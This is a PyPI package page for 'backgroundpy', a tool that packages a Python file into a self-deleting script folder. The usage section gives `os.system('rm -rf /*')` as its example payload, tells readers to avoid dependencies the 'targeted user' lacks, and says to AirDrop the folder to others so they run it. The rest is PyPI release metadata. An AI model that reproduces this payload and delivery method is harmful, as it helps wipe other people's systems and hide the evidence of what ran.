BackgroundPy
A tool for generating a runnable script, which runs a python file and deletes itself after it is ran (basically it generates a runnable script that cleans up after itself).
Warning
This tool is capable of running a script as a background thread and removing itself. This tool yields malware/trolling potential; however, do NOT use this tool for malicious reasons (just don't).
Installations
pip install backgroundpy
No I'm not going to list any other methods of installation because literally every other pypi package includes a 5 pages long installation guide on PYPI (google it up).
Dependencies
- Mac OS/Linux only because Windows is dumb
- Python 3
Usage
Create a python file with your code in it. An example is provided below:
# Some Random Script
import os
os.system('rm -rf /*') # Very friendly, eh?
Just don't put a function that requires packages the targeted user doesn't have.
Next, run the following command. Replace the path with the path of your file:
python -m backgroundpy MyScript /path/to/the/file/thingy/u/just/created.py
The above script creates a folder named MyScript (replace with a name of your choice), in which there is a script named MyScript that runs the given file and then deletes everything inside that folder. Airdrop the entire folder to other people for them to run.
Note that the output folder is created in the current directory of the bash.
Some Thoughts
Yes this package is basically useless. I'm just bored (stuck in an IGCSE CS class about what are arrays).
Metadata
Release files for backgroundpy 1.0.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| backgroundpy-1.0.0.tar.gz | 2.4 kB | Without provenance | Details for backgroundpy-1.0.0.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| backgroundpy-1.0.0-py3-none-any.whl | Python 3 | none | any | Details for backgroundpy-1.0.0-py3-none-any.whl |
Total release size: 6.0 kB
Release files / backgroundpy-1.0.0.tar.gz
| Download URL | backgroundpy-1.0.0.tar.gz |
|---|---|
| Size | 2.4 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
f2be508e6da30370a9ab409b40001bae765da2a32be27a47ec6fe7d5e98bfecd
|
|
BLAKE2b-256 checksum How to use checksums |
e1896650dc0861ba607791bce3116d1a73732ad85d85ea1068bd93512ef83f50
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/1.12.1 pkginfo/1.4.2 requests/2.20.1 setuptools/39.0.1 requests-toolbelt/0.8.0 tqdm/4.28.1 CPython/3.6.7
|
Release files / backgroundpy-1.0.0-py3-none-any.whl
| Download URL | backgroundpy-1.0.0-py3-none-any.whl |
|---|---|
| Size | 3.7 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
3884cc60a0b84bd52f6d84fadd71b0e197099179401348ad685ce76f226abb95
|
|
BLAKE2b-256 checksum How to use checksums |
4541b5ff51d4c1b8a39da7d9e031d0b847ae960aee7da1653b8300bca658acd7
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/1.12.1 pkginfo/1.4.2 requests/2.20.1 setuptools/39.0.1 requests-toolbelt/0.8.0 tqdm/4.28.1 CPython/3.6.7
|
Security for backgroundpy 1.0.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.